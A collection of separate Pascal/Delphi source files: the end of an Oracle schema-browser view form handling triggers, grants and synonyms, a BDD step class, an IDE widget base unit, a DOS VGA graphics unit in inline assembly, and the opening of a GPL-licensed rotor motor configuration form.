GetDataWithWhereCont;
end;
procedure TViewPropertiesFrm.popDataMultiSelectClick(Sender: TObject);
begin
inherited;
gridDataView.OptionsSelection.MultiSelect := popDataMultiSelect.Checked;
end;
procedure TViewPropertiesFrm.popDataSaveAsClick(Sender: TObject);
begin
inherited;
if DataSaveDialog.Execute then
begin
case DataSaveDialog.FilterIndex of
1: ExportGridToText(DataSaveDialog.FileName, GridData,True,True,',','','');
2: ExportGridToExcel(DataSaveDialog.FileName, GridData);
3: ExportGridToHTML(DataSaveDialog.FileName, GridData);
4: ExportGridToXML(DataSaveDialog.FileName, GridData);
end;
end;
end;
procedure TViewPropertiesFrm.popDataFindDataClick(Sender: TObject);
var
i: integer;
col: string;
begin
inherited;
for i := 0 to gridDataView.ColumnCount -1 do
if gridDataView.Columns[i].Focused then
col := gridDataView.Columns[i].Caption;
TableFindFrm.Init(qViewData, col);
end;
procedure TViewPropertiesFrm.popDataRecordCountClick(Sender: TObject);
begin
inherited;
MessageDlg('Record count : '+IntToStr(View.RecordCount), mtInformation, [mbOK], 0);
end;
{*******************************************************************************}
{ G R A N T S }
{*******************************************************************************}
procedure TViewPropertiesFrm.btnRefreshGrantsClick(Sender: TObject);
begin
inherited;
View.GrantList.SetDDL;
vtGrants.close;
vtGrants.Assign(View.GrantList.DSGrantList);
vtGrants.Open;
end;
procedure TViewPropertiesFrm.bbtnGrantPrivilegesClick(Sender: TObject);
begin
inherited;
if GrantsFrm.Init(View.GrantList) then
GetView;
end;
{*******************************************************************************}
{ T R I G E R S }
{*******************************************************************************}
procedure TViewPropertiesFrm.GetTriggers;
begin
qTrigger.close;
qTrigger.Session := View.OraSession;
qTrigger.SQL.Text := GetOraTriggers;
qTrigger.ParamByName('pName').AsString := FViewName;
qTrigger.ParamByName('pOwner').AsString := FOwner;
qTrigger.ParamByName('pType').AsString := 'VIEW';
qTrigger.Open;
GetTriggerDetail;
end;
procedure TViewPropertiesFrm.GridTrigersDBTableView1CanSelectRecord(
Sender: TcxCustomGridTableView; ARecord: TcxCustomGridRecord;
var AAllow: Boolean);
begin
inherited;
GetTriggerDetail;
end;
procedure TViewPropertiesFrm.GetTriggerDetail;
var
t: TTrigger;
TriggerName: string;
begin
editTriggers.Lines.Clear;
if not qTrigger.Active then exit;
if qTrigger.RecordCount = 0 then exit;
TriggerName := qTrigger.FieldByName('TRIGGER_NAME').AsString;
if TriggerName = '' then exit;
t := TTrigger.Create;
t.OraSession := View.OraSession;
t.TRIGGER_NAME := TriggerName;
t.Owner := FOwner;
t.SetDDL;
editTriggers.Text := t.GetDDL;
CodeColors(self, 'Default', editTriggers, false);
end;
procedure TViewPropertiesFrm.bbtnCreateTriggerClick(Sender: TObject);
var
t: TTrigger;
begin
inherited;
t := TTrigger.Create;
t.OraSession := View.OraSession;
t.TRIGGER_NAME := '';
t.Owner := FOwner;
t.TABLE_NAME := FViewName;
t.TABLE_OWNER := FOwner;
t.BASE_OBJECT_TYPE := 'VIEW';
if TriggerDetailFrm.Init(t) then
begin
GetTriggers;
TSchemaBrowserFrm(Application.MainForm.ActiveMDIChild).RefreshNode(dbTriggers);
end;
end;
procedure TViewPropertiesFrm.bbtnAlterTriggerClick(Sender: TObject);
var
t: TTrigger;
TriggerName: string;
begin
inherited;
if not qTrigger.Active then exit;
if qTrigger.RecordCount = 0 then exit;
TriggerName := qTrigger.FieldByName('TRIGGER_NAME').AsString;
if TriggerName = '' then exit;
t := TTrigger.Create;
t.OraSession := View.OraSession;
t.TRIGGER_NAME := TriggerName;
t.Owner := FOwner;
t.SetDDL;
TriggerDetailFrm.Init(t);
GetTriggers;
end;
procedure TViewPropertiesFrm.bbtnDropTriggerClick(Sender: TObject);
var
trigger: TTrigger;
TriggerName: string;
begin
inherited;
if not qTrigger.Active then exit;
if qTrigger.RecordCount = 0 then exit;
TriggerName := qTrigger.FieldByName('TRIGGER_NAME').AsString;
if TriggerName = '' then exit;
trigger := TTrigger.Create;
trigger.OraSession := View.OraSession;
trigger.TRIGGER_NAME := TriggerName;
trigger.Owner := FOwner;
if SchemaPublicEventFrm.Init(trigger, oeDrop) then
GetTriggers;
end;
procedure TViewPropertiesFrm.bbtnEnableTriggerClick(Sender: TObject);
var
trigger: TTrigger;
TriggerName: string;
begin
inherited;
if not qTrigger.Active then exit;
if qTrigger.RecordCount = 0 then exit;
TriggerName := qTrigger.FieldByName('TRIGGER_NAME').AsString;
if TriggerName = '' then exit;
trigger := TTrigger.Create;
trigger.OraSession := View.OraSession;
trigger.TRIGGER_NAME := TriggerName;
trigger.Owner := FOwner;
if SchemaPublicEventFrm.Init(trigger, oeEnable) then
GetTriggers;
end;
procedure TViewPropertiesFrm.bbtnEnableAllTriggersClick(Sender: TObject);
begin
inherited;
if View.VIEW_NAME= '' then exit;
if View = nil then exit;
if SchemaPublicEventFrm.Init(View, oeEnableTriggers) then
TSchemaBrowserFrm(Application.MainForm.ActiveMDIChild).RefreshNode(dbTriggers);
end;
procedure TViewPropertiesFrm.bbtnDisableTriggerClick(Sender: TObject);
var
trigger: TTrigger;
TriggerName: string;
begin
inherited;
if not qTrigger.Active then exit;
if qTrigger.RecordCount = 0 then exit;
TriggerName := qTrigger.FieldByName('TRIGGER_NAME').AsString;
if TriggerName = '' then exit;
trigger := TTrigger.Create;
trigger.OraSession := View.OraSession;
trigger.TRIGGER_NAME := TriggerName;
trigger.Owner := FOwner;
if SchemaPublicEventFrm.Init(trigger, oeDisable) then
GetTriggers;
end;
procedure TViewPropertiesFrm.bbtnDisableAllTriggersClick(Sender: TObject);
begin
inherited;
if View.VIEW_NAME= '' then exit;
if View = nil then exit;
if SchemaPublicEventFrm.Init(View, oeDisableTriggers) then
TSchemaBrowserFrm(Application.MainForm.ActiveMDIChild).RefreshNode(dbTriggers);
end;
procedure TViewPropertiesFrm.bbtnCompileTriggerClick(Sender: TObject);
var
trigger: TTrigger;
TriggerName: string;
begin
inherited;
if not qTrigger.Active then exit;
if qTrigger.RecordCount = 0 then exit;
TriggerName := qTrigger.FieldByName('TRIGGER_NAME').AsString;
if TriggerName = '' then exit;
trigger := TTrigger.Create;
trigger.OraSession := View.OraSession;
trigger.TRIGGER_NAME := TriggerName;
trigger.Owner := FOwner;
if SchemaPublicEventFrm.Init(trigger, oeCompile) then
GetTriggers;
end;
procedure TViewPropertiesFrm.bbtnRefreshTriggerClick(Sender: TObject);
begin
inherited;
GetTriggers;
end;
{*******************************************************************************}
{ S Y N O N Y M S }
{*******************************************************************************}
procedure TViewPropertiesFrm.bbtnCreateSynonymClick(Sender: TObject);
begin
inherited;
if SynonymsFrm.Init(view.SynonymList) then
begin
GetView;
TSchemaBrowserFrm(Application.MainForm.ActiveMDIChild).RefreshNode(dbSynonyms);
end;
end;
procedure TViewPropertiesFrm.bbtnDropSynonymClick(Sender: TObject);
var
SynonymList: TSynonymList;
FSynonym: TSynonym;
begin
inherited;
if not vtSynonyms.Active then exit;
new(FSynonym);
FSynonym^.Owner := FOwner;
FSynonym^.SynonymName := vtSynonyms.FieldByName('SYNONYM_NAME').AsString;
FSynonym^.TableOwner := vtSynonyms.FieldByName('TABLE_OWNER').AsString;
FSynonym^.TableName := vtSynonyms.FieldByName('TABLE_NAME').AsString;
SynonymList := TSynonymList.Create;
SynonymList.OraSession := View.OraSession;
SynonymList.TableOwner := FOwner;
SynonymList.TableName := FViewName;
SynonymList.SynonymAdd(FSynonym);
if SchemaPublicEventFrm.Init(SynonymList, oeDrop) then
GetView;
end;
procedure TViewPropertiesFrm.bbtnRefreshSynonymClick(Sender: TObject);
begin
inherited;
View.SynonymList.SetDDL;
vtSynonyms.close;
vtSynonyms.Assign(View.SynonymList.DSSynonymList);
vtSynonyms.Open;
end;
{*******************************************************************************}
{ U S E D }
{*******************************************************************************}
procedure TViewPropertiesFrm.GetUsed;
begin
vtUsed.Close;
vtUsed.Assign(View.UsedByList);
vtUsed.Open;
end;
{*******************************************************************************}
{ U S E S }
{*******************************************************************************}
procedure TViewPropertiesFrm.GetUses;
begin
vtUses.Close;
vtUses.Assign(View.UsesList);
vtUses.Open;
end;
end.
|
unit Step;
interface
uses
StepIntf, ValidationRuleIntf, StepParamsIntf;
type
TStep = class(TInterfacedObject, IStep, IValidationRule)
private
FChanged: Boolean;
FDescricao: string;
FParams: IStepParams;
FParamsRegex: string;
FValidationRule: IValidationRule;
procedure SetDescricao(const Value: string);
function GetDescricao: string;
function GetMetodoDeTeste: string;
function GetParams: IStepParams;
function GetValidationRule: IValidationRule;
procedure ClearAndSetParams;
function GetParamsRegex: string;
procedure SetParamsRegex(const Value: string);
public
constructor Create;
destructor Destroy; override;
property Descricao: string read GetDescricao write SetDescricao;
property MetodoDeTeste: string read GetMetodoDeTeste;
property ValidationRule: IValidationRule read GetValidationRule implements IValidationRule;
property ParamsRegex: string read GetParamsRegex write SetParamsRegex;
property Params: IStepParams read GetParams;
end;
implementation
uses
ValidationRule, TypeUtils, Constants, StepParams;
constructor TStep.Create;
begin
FParams := TStepParams.Create;
ValidationRule.ValidateFunction := function: Boolean
begin
Result := S(FDescricao).Match(StepRegex);
end;
end;
destructor TStep.Destroy;
begin
FParams := nil;
inherited;
end;
procedure TStep.ClearAndSetParams;
var
I: Integer;
LDescription: IXString;
LMatchedParams: IMatchData;
begin
if not S(FParamsRegex).IsEmpty(True) and not S(FDescricao).IsEmpty(True) and FChanged then
begin
FParams.Clear;
LDescription := SX(FDescricao);
LMatchedParams := LDescription.MatchDataFor(FParamsRegex);
for I := 0 to LMatchedParams.Size.Value - 1 do
FParams.Add(LMatchedParams[I].Value);
end;
end;
function TStep.GetDescricao: string;
begin
Result := FDescricao;
end;
function TStep.GetMetodoDeTeste: string;
begin
Result := S(Descricao).AsClassName('');
end;
function TStep.GetParams: IStepParams;
begin
if FChanged then
ClearAndSetParams;
Result := FParams;
end;
function TStep.GetParamsRegex: string;
begin
Result := FParamsRegex;
end;
function TStep.GetValidationRule: IValidationRule;
begin
if FValidationRule = nil then
FValidationRule := TValidationRule.Create;
Result := FValidationRule;
end;
procedure TStep.SetDescricao(const Value: string);
begin
FChanged := True;
FDescricao := Value;
end;
procedure TStep.SetParamsRegex(const Value: string);
begin
FChanged := True;
FParamsRegex := Value;
end;
end.
|
unit ce_widget;
{$I ce_defines.inc}
interface
uses
Classes, SysUtils, FileUtil, Forms, Controls, ExtCtrls, ActnList, Menus,
AnchorDocking, ce_interfaces;
type
(**
* Base type for an UI module.
*)
PTCEWidget = ^TCEWidget;
TCEWidget = class(TForm, ICEContextualActions)
Content: TPanel;
Back: TPanel;
contextMenu: TPopupMenu;
private
fUpdating: boolean;
fDelayDur: Integer;
fLoopInter: Integer;
fUpdaterAuto: TTimer;
fUpdaterDelay: TTimer;
fImperativeUpdateCount: Integer;
fLoopUpdateCount: Integer;
procedure setDelayDur(aValue: Integer);
procedure setLoopInt(aValue: Integer);
procedure updaterAutoProc(Sender: TObject);
procedure updaterLatchProc(Sender: TObject);
protected
fDockable: boolean;
fModal: boolean;
fID: string;
// a descendant overrides to implementi a periodic update.
procedure updateLoop; virtual;
// a descendant overrides to implement an imperative update.
procedure updateImperative; virtual;
// a descendant overrides to implement a delayed update.
procedure updateDelayed; virtual;
//
function contextName: string; virtual;
function contextActionCount: integer; virtual;
function contextAction(index: integer): TAction; virtual;
//
function getIfModal: boolean;
published
property updaterByLoopInterval: Integer read fLoopInter write setLoopInt;
property updaterByDelayDuration: Integer read fDelayDur write setDelayDur;
public
constructor create(aOwner: TComponent); override;
destructor destroy; override;
// restarts the wait period to the delayed update event.
// if not re-called during 'updaterByDelayDuration' ms then
// 'UpdateByDelay' is called once.
procedure beginDelayedUpdate;
// prevent any pending update.
procedure stopDelayedUpdate;
// calls immediattly any pending delayed update.
procedure forceDelayedUpdate;
// increments the imperative updates count.
procedure beginImperativeUpdate;
// decrements the imperative updates count and call updateImperative() if the
// counter value is equal to zero.
procedure endImperativeUpdate;
// calls updateImperative() immediatly
procedure forceImperativeUpdate;
// increment a flag used to indicate if updateLoop has to be called
procedure IncLoopUpdate;
procedure showWidget;
// returns true if one of the three updater is processing.
property updating: boolean read fUpdating;
// true by default, allow a widget to be docked.
property isDockable: boolean read fDockable;
// not if isDockable, otherwise a the widget is shown as modal form.
property isModal: boolean read getIfModal;
end;
(**
* TCEWidget list.
*)
TCEWidgetList = class(TFPList)
private
function getWidget(index: integer): TCEWidget;
public
procedure addWidget(aValue: PTCEWidget);
property widget[index: integer]: TCEWidget read getWidget;
end;
TWidgetEnumerator = class
fList: TCEWidgetList;
fIndex: Integer;
function getCurrent: TCEWidget;
Function moveNext: boolean;
property current: TCEWidget read getCurrent;
end;
operator enumerator(aWidgetList: TCEWidgetList): TWidgetEnumerator;
function CompareWidgCaption(Item1, Item2: Pointer): Integer;
implementation
{$R *.lfm}
uses
ce_observer;
{$REGION Standard Comp/Obj------------------------------------------------------}
constructor TCEWidget.create(aOwner: TComponent);
var
i: Integer;
itm: TmenuItem;
begin
inherited;
fDockable := true;
fUpdaterAuto := TTimer.Create(self);
fUpdaterAuto.Interval := 70;
fUpdaterAuto.OnTimer := @updaterAutoProc;
fUpdaterDelay := TTimer.Create(self);
updaterByLoopInterval := 70;
updaterByDelayDuration := 500;
for i := 0 to contextActionCount-1 do
begin
itm := TMenuItem.Create(self);
itm.Action := contextAction(i);
contextMenu.Items.Add(itm);
end;
PopupMenu := contextMenu;
EntitiesConnector.addObserver(self);
end;
destructor TCEWidget.destroy;
begin
EntitiesConnector.removeObserver(self);
inherited;
end;
function TCEWidget.getIfModal: boolean;
begin
if isDockable then result := false
else result := fModal;
end;
procedure TCEWidget.showWidget;
var
win: TControl;
begin
if isDockable then
begin
win := DockMaster.GetAnchorSite(self);
if win <> nil then
begin
win.Show;
win.BringToFront;
end;
end
else begin
if isModal then ShowModal else
begin
Show;
BringToFront;
end;
end;
end;
{$ENDREGION}
{$REGION ICEContextualActions---------------------------------------------------}
function TCEWidget.contextName: string;
begin
result := '';
end;
function TCEWidget.contextActionCount: integer;
begin
result := 0;
end;
function TCEWidget.contextAction(index: integer): TAction;
begin
result := nil;
end;
{$ENDREGION}
{$REGION Updaters---------------------------------------------------------------}
procedure TCEWidget.setDelayDur(aValue: Integer);
begin
if aValue < 100 then aValue := 100;
if fDelayDur = aValue then exit;
fDelayDur := aValue;
fUpdaterDelay.Interval := fDelayDur;
end;
procedure TCEWidget.setLoopInt(aValue: Integer);
begin
if aValue < 30 then aValue := 30;
if fLoopInter = aValue then exit;
fLoopInter := aValue;
fUpdaterAuto.Interval := fLoopInter;
end;
procedure TCEWidget.IncLoopUpdate;
begin
inc(fLoopUpdateCount);
end;
procedure TCEWidget.beginImperativeUpdate;
begin
Inc(fImperativeUpdateCount);
end;
procedure TCEWidget.endImperativeUpdate;
begin
Dec(fImperativeUpdateCount);
if fImperativeUpdateCount > 0 then exit;
fUpdating := true;
updateImperative;
fUpdating := false;
fImperativeUpdateCount := 0;
end;
procedure TCEWidget.forceImperativeUpdate;
begin
fUpdating := true;
updateImperative;
fUpdating := false;
fImperativeUpdateCount := 0;
end;
procedure TCEWidget.beginDelayedUpdate;
begin
fUpdaterDelay.Enabled := false;
fUpdaterDelay.Enabled := true;
fUpdaterDelay.OnTimer := @updaterLatchProc;
end;
procedure TCEWidget.stopDelayedUpdate;
begin
fUpdaterDelay.OnTimer := nil;
end;
procedure TCEWidget.forceDelayedUpdate;
begin
updaterLatchProc(nil);
end;
procedure TCEWidget.updaterAutoProc(Sender: TObject);
begin
fUpdating := true;
if fLoopUpdateCount > 0 then
updateLoop;
fLoopUpdateCount := 0;
fUpdating := false;
end;
procedure TCEWidget.updaterLatchProc(Sender: TObject);
begin
fUpdating := true;
updateDelayed;
fUpdating := false;
fUpdaterDelay.OnTimer := nil;
end;
procedure TCEWidget.updateLoop;
begin
end;
procedure TCEWidget.updateImperative;
begin
end;
procedure TCEWidget.updateDelayed;
begin
end;
{$ENDREGION}
{$REGION TCEWidgetList----------------------------------------------------------}
function CompareWidgCaption(Item1, Item2: Pointer): Integer;
type
PWidg = ^TCEWidget;
begin
result := AnsiCompareStr(PWidg(Item1)^.Caption, PWidg(Item2)^.Caption);
end;
function TCEWidgetList.getWidget(index: integer): TCEWidget;
begin
result := PTCEWidget(Items[index])^;
end;
procedure TCEWidgetList.addWidget(aValue: PTCEWidget);
begin
add(Pointer(aValue));
end;
function TWidgetEnumerator.getCurrent:TCEWidget;
begin
result := fList.widget[fIndex];
end;
function TWidgetEnumerator.moveNext: boolean;
begin
Inc(fIndex);
result := fIndex < fList.Count;
end;
operator enumerator(aWidgetList: TCEWidgetList): TWidgetEnumerator;
begin
result := TWidgetEnumerator.Create;
result.fList := aWidgetList;
result.fIndex := -1;
end;
{$ENDREGION}
end.
|
unit GraphASM;
{$G+}
(****************************************************************************)
INTERFACE
(****************************************************************************)
type
Pbyte= ^byte; { TSprite = pointeur sur le type octet }
TPalette= array [0..767] of byte; { type palette de couleur }
PtMCGA= record
X,Y: integer;
end;
procedure ClsMCGA(couleur: byte);
procedure DetectVESA(var segm,offs: word; var Vesa: boolean);
procedure InitMode(mode: byte);
procedure InitModeVESA(mode: word);
procedure EffaceBuffer(buffer: pointer; couleur: byte);
procedure CopieBuffer(buffer: pointer);
procedure VSync;
procedure Pxl(PxX,PxY:word; clr:byte);
procedure PixelMCGA(Pxx,Pxy:word; clr:byte);
procedure H_LineMCGA(HP1_X,HP1_Y,HP2_X:word; Clr:byte);
procedure V_LineMCGA(HP1_X,HP1_Y,HP2_Y:word; Clr:byte);
procedure LineMCGA(P1X,P1Y,P2X,P2Y:integer; Color:byte);
procedure PixelVESA(PxX,PxY:word; clr:byte);
procedure SetPalette(Colors: TPalette);
procedure SetColor(index,r,g,b: byte);
procedure ChargePCX(nomfichier: string; var destination: Pbyte; var Palette: TPalette);
procedure PCX320x200(Sprite: Pbyte);
procedure AffLineV(Buffer: pointer; x,y: integer; Long: word; Color: byte);
procedure AffSprt(Buffer: pointer; x,y,largeur,hauteur: integer; sprite: Pbyte);
procedure AffSprtC(CX1,CY1,CX2,CY2: integer; Buffer: pointer; x,y,largeur,hauteur: integer; sprite: Pbyte);
procedure CreatSprt(source: Pbyte; x1,y1,largeur,hauteur: integer; sprite: Pbyte);
(****************************************************************************)
IMPLEMENTATION
(****************************************************************************)
(***************************************************** ROUTINES DE BASE VGA *)
procedure ClsMCGA(couleur: byte);
assembler;
asm
mov ax, 0a000h
mov es, ax
xor di, di
mov cx, 32000
mov al, couleur
mov ah, al
rep stosw
end;
procedure DetectVESA(var segm,offs: word; var Vesa: boolean);
var
Tseg,Toff: word;
Tah: byte;
begin
asm
mov al,00h
mov ah,4Fh
int 10h
mov Tseg,es
mov Toff,di
mov Tah,ah
end;
segm:=Tseg;
offs:=Toff;
Vesa:=(Tah=0);
end;
procedure InitMode(mode: byte);
assembler;
asm
mov al,mode
mov ah,00h
int 10h
end;
procedure InitModeVESA(mode: word);
assembler;
asm
mov bx, mode
mov al, 02h
mov ah, 4Fh
int 10h
end;
procedure EffaceBuffer(buffer: pointer; couleur: byte);
assembler;
asm
les di, buffer
mov cx, 16000
db $66, $33,$DB
mov bl, couleur
mov bh, bl
mov ax, bx
db $66, $C1, $E0, $10
db $66, $03, $C3
db $F3, $66, $AB
end;
procedure CopieBuffer(buffer: pointer);
assembler;
asm
push ds
lds si, buffer
mov ax, 0A000h
mov es, ax
xor di, di
mov cx, 16000
db $66, $F3, $A5
pop ds
end;
procedure VSync;
assembler;
asm
@Sync_Boucle1:
mov dx,03DAh
in al,DX
test al,08h
jne @Sync_Boucle1
@Sync_Boucle2:
in al,dx
test al,08h
jz @Sync_Boucle2
end;
procedure Pxl(PxX,PxY:word; clr:byte);
assembler;
asm
mov ax,0A000h
mov es,ax
mov ax,PxY
shl ax,6
mov bx,ax
shl ax,2
add ax,bx
add ax,PxX
mov di,ax
mov al,clr
mov es:[DI], al
end;
procedure PixelMCGA(PxX,PxY:word; clr:byte);
begin
if ((PxX>=0) and (PxX<319) and (PxY in [0..199])) then
asm
mov ax,0A000h
mov es,ax
mov ax,PxY
shl ax,6
mov bx,ax
shl ax,2
add ax,bx
add ax,PxX
mov di,ax
mov al,clr
mov es:[DI], al
end;
end;
procedure H_LineMCGA(HP1_X,HP1_Y,HP2_X:word; Clr:byte);
var
Long: word;
begin
if ((HP1_X>=0) and (HP2_X<320) and (HP1_Y in [0..199])) then begin
Long:=HP2_X-HP1_X+1;
asm
mov ax,0A000h
mov es,ax
mov ax,HP1_Y
shl ax,6
mov bx,ax
shl ax,2
add ax,bx
add ax,HP1_X
mov bx,Long
mov di,ax
@X_Loop:
mov al,clr
mov es:[DI], al
inc di
dec bx
jnz @X_Loop
end;
end;
end;
procedure V_LineMCGA(HP1_X,HP1_Y,HP2_Y:word; Clr:byte);
var
Long: word;
begin
if ((HP1_Y>=0) and (HP2_Y<200) and (HP1_X>=0) and (HP1_X<320)) then begin
Long:=HP2_Y-HP1_Y+1;
asm
mov ax,0A000h
mov es,ax
mov ax,HP1_Y
shl ax,6
mov bx,ax
shl ax,2
add ax,bx
add ax,HP1_X
mov bx,Long
mov di,ax
@Y_Loop:
mov al,clr
mov es:[DI], al
add di,0140h
dec bx
jnz @Y_Loop
end;
end;
end;
procedure LineMCGA(P1X,P1Y,P2X,P2Y:integer; Color:byte);
var
PtX,PtY: word;
Dlt,PtRX,PtRY: real;
begin
if P1X=P2X then begin
if P1Y>P2Y then begin
PtX:=P1X;
PtY:=P1Y;
P1X:=P2X;
P1Y:=P2Y;
P2X:=PtX;
P2Y:=PtY;
end;
PtY:=P2Y-P1Y+1;
asm
mov ax,0A000h
mov es,ax
mov ax,P1Y
shl ax,6
mov bx,ax
shl ax,2
add ax,bx
add ax,P1X
mov bx,PtY
mov di,ax
@Y_Loop:
mov al,color
mov es:[DI], al
add di,0140h
dec bx
jnz @Y_Loop
end;
end
else if P1X>P2X then begin
PtX:=P1X;
PtY:=P1Y;
P1X:=P2X;
P1Y:=P2Y;
P2X:=PtX;
P2Y:=PtY;
end;
if P1Y=P2Y then begin
PtX:=P2X-P1X+1;
asm
mov ax,0A000h
mov es,ax
mov ax,P1Y
shl ax,6
mov bx,ax
shl ax,2
add ax,bx
add ax,P1X
mov bx,PtX
mov di,ax
@X_Loop:
mov al,color
mov es:[DI], al
inc di
dec bx
jnz @X_Loop
end;
end
else if P1Y<P2Y then
Dlt:=((P2Y-P1Y+1)/(P2X-P1X+1))
else
Dlt:=((P2Y-P1Y-1)/(P2X-P1X+1));
if ((Dlt>-1) and (Dlt<1)) then begin
PtRY:=P1Y;
for PtX:=P1X to P2X do begin
PixelMCGA(PtX,trunc(PtRY),color);
PtRY:=PtRY+Dlt;
end;
end
else if Dlt<-1 then begin
Dlt:=1/Dlt;
PtRX:=P1X;
for PtY:=P1Y downto P2Y do begin
PixelMCGA(trunc(PtRX),PtY,color);
PtRX:=PtRX+Dlt;
end;
end
else begin
Dlt:=1/Dlt;
PtRX:=P1X;
for PtY:=P1Y to P2Y do begin
PixelMCGA(trunc(PtRX),PtY,color);
PtRX:=PtRX+Dlt;
end;
end;
end;
procedure PixelVESA(PxX,PxY:word; clr:byte);
begin
if ((PxX>=0) and (PxY<640) and (PxY>=0) and (PxY<480)) then begin
asm
mov ax,0A000h
mov es,ax
mov ax,0280h
mul PxY
add ax,PxX
mov di,ax
mov al,clr
mov es:[DI],al
end;
end;
end;
procedure SetPalette(Colors:TPalette);
assembler;
asm
les di,colors
mov cx,0000
@colorLoop:
mov dx,03C8h
mov al,cl
out dx,al
mov dx,03C9h
mov al,es:[di]
out dx,al
inc di
mov al,es:[di]
out dx,al
inc di
mov al,es:[di]
out dx,al
inc di
inc cx
cmp cx,0100h
jne @ColorLoop
end;
procedure SetColor(index,r,g,b:byte);
assembler;
asm
mov dx,03C8h
mov al,index
out dx,al
mov dx,03C9h
mov al,r
out dx,al
mov al,g
out dx,al
mov al,b
out dx,al
end;
procedure ChargePCX(nomfichier: string; var destination:Pbyte; var Palette:TPalette);
var
f: file of byte;
octet: byte;
count: longint;
repetition: byte;
ptr: PByte;
i: integer;
begin
Getmem(destination,64000);
assign(f,nomfichier);
reset(f);
seek(f,128);
ptr:=destination;
count:=0;
while(count<320*200) do begin
read(f,octet);
if(octet>$C0) then begin
repetition:=octet-$C0;
read(f,octet);
for i:=1 to repetition do begin
ptr^:=octet;
inc(ptr);
inc(count);
end;
end
else begin
ptr^:=octet;
inc(ptr);
inc(count);
end;
end;
read(f,octet);
for i:=0 to 767 do begin
read(f,octet);
Palette[i]:=(octet SHR 2);
end;
close(f);
end;
procedure PCX320x200(Sprite: Pbyte);
assembler;
asm
push ds
lds si,sprite
mov ax,0A000h
mov es,ax
xor di,di
mov dx,00C8h
@Boucle_PutSpriteY:
mov cx,0140h
@Boucle_PutSpriteX:
mov al,[SI]
mov es:[DI],al
inc si
inc di
dec cx
jnz @Boucle_PutSpriteX
dec dx
jnz @Boucle_PutSpriteY
pop ds
end;
procedure AffLineV(Buffer: pointer; x,y: integer; Long: word; Color: byte);
assembler;
asm
push ds
les di,Buffer
mov ax,0140h
mul y
add ax,x
add di,ax
mov cx,Long
@Boucle:
mov al,Color
mov es:[di],al
inc di
loop @Boucle
pop ds
end;
procedure AffSprt(Buffer: pointer; x,y,largeur,hauteur: integer; sprite: Pbyte);
assembler;
asm
push ds
lds si,sprite
les di,buffer
mov ax,0140h
mul y
add ax,x
add di,ax
mov bx,0140h
sub bx,largeur
mov dx,hauteur
@Boucle_PutSpriteY:
mov cx,largeur
@Boucle_PutSpriteX:
mov al,[SI]
cmp al,0Fh (* Transparent *)
jz @Sauter_ce_pixel
mov es:[DI],al
@Sauter_ce_pixel:
inc si
inc di
dec cx
jnz @Boucle_PutSpriteX
add di,bx
dec dx
jnz @Boucle_PutSpriteY
pop ds
end;
procedure AffSprtC(CX1,CY1,CX2,CY2: integer; Buffer: pointer; x,y,largeur,hauteur: integer; sprite: Pbyte);
var
deltaX1,deltaX2,deltaY1,deltaY2: integer;
ancienne_largeur: integer;
begin
asm
cmp CY1,0
mov bx,largeur
mov ancienne_largeur,bx
mov ax,x
add bx,ax
mov cx,y
mov dx,cx
add dx,hauteur
cmp ax,CX2
jg @fin
cmp bx,CX1
jl @fin
cmp cx,CY2
jg @fin
cmp dx,CY1
jl @fin
xor si,si
mov deltaX1,si
mov deltaX2,si
mov deltaY1,si
mov deltaY2,si
cmp ax,CX1
jge @suite1
mov si,CX1
mov x,si
sub si,ax
mov DeltaX1,si
sub largeur,si
mov ax,x
mov bx,ax
add bx,largeur
@suite1:
cmp bx,CX2
jle @suite2
mov si,bx
sub si,CX2
mov DeltaX2,si
sub largeur,si
@suite2:
cmp cx,CY1
jge @suite3
mov si,CY1
mov y,si
sub si,cx
mov DeltaY1,si
sub hauteur,si
mov cx,y
mov dx,cx
add dx,hauteur
@suite3:
cmp dx,CY2
jle @suite4
mov si,dx
sub si,CY2
mov DeltaY2,si
sub hauteur,si
@suite4:
push ds
lds si,sprite
les di,buffer
mov ax,ancienne_largeur
mul deltaY1
add si,ax
mov ax,0140h
mul y
add ax,x
add di,ax
mov bx,0140h
sub bx,largeur
mov dx,hauteur
@Boucle_PutSpriteY:
mov cx,largeur
add si,deltaX1
@Boucle_PutSpriteX:
mov al,[SI]
cmp al,0Fh (* TRANSPARENT *)
jz @Sauter_ce_pixel
mov es:[DI],al
@Sauter_ce_pixel:
inc si
inc di
dec cx
jnz @Boucle_PutSpriteX
add di,bx
add si,deltaX2
dec dx
jnz @Boucle_PutSpriteY
pop ds
@fin:
end;
end;
procedure CreatSprt(source: Pbyte; x1,y1,largeur,hauteur: integer; sprite: Pbyte);
assembler;
asm
push ds
lds si,source
les di,sprite
mov ax,140h
mul y1
add ax,x1
add si,ax
mov bx,140h
sub bx,largeur
mov dx,hauteur
@BoucleHauteur:
mov cx,largeur
rep movsb
add si,bx
dec dx
jnz @BoucleHauteur
pop ds
end;
begin
end. |
{
Copyright (C) 2013 Dimitar Paperov
This source is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation; either version 2 of the License, or (at your option)
any later version.
This code is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
A copy of the GNU General Public License is available on the World Wide Web
at <http://www.gnu.org/copyleft/gpl.html>. You can also obtain it by writing
to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston,
MA 02111-1307, USA.
}
unit motor_config_form;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs, StdCtrls,
ExtCtrls, mdTypes;
type
{ TForm3 }
TForm3 = class(TForm)
Button1: TButton;
Button2: TButton;
cbxTemplate: TComboBox;
cbxControl1: TComboBox;
cbxProtocol1: TComboBox;
cbxControl2: TComboBox;
cbxProtocol2: TComboBox;
GroupBox1: TGroupBox;
gControl1: TGroupBox;
gProtocol1: TGroupBox;
gControl2: TGroupBox;
gProtocol2: TGroupBox;
UseShortWay: TRadioGroup;
UseElevationMap: TRadioGroup;
ConstElevationMap: TRadioGroup;
MouseControl: TRadioGroup;
StartRotor: TRadioGroup;
StopRotor: TRadioGroup;
ShowAzimuth: TRadioGroup;
PairRotors: TRadioGroup;
procedure cbxTemplateChange(Sender: TObject);
procedure UseShortWayClick(Sender: TObject);
private
{ private declarations }
procedure SetEnable(aEnabled: boolean);
public
{ public declarations }
function ShowMe(aBtnCancelVisible: boolean): boolean;
procedure ToInterface(var c: TMD_CONFIG);
procedure FromInterface(var c: TMD_CONFIG);
end;
var
Form3: TForm3;
implementation
{$R *.lfm}
{ TForm3 }
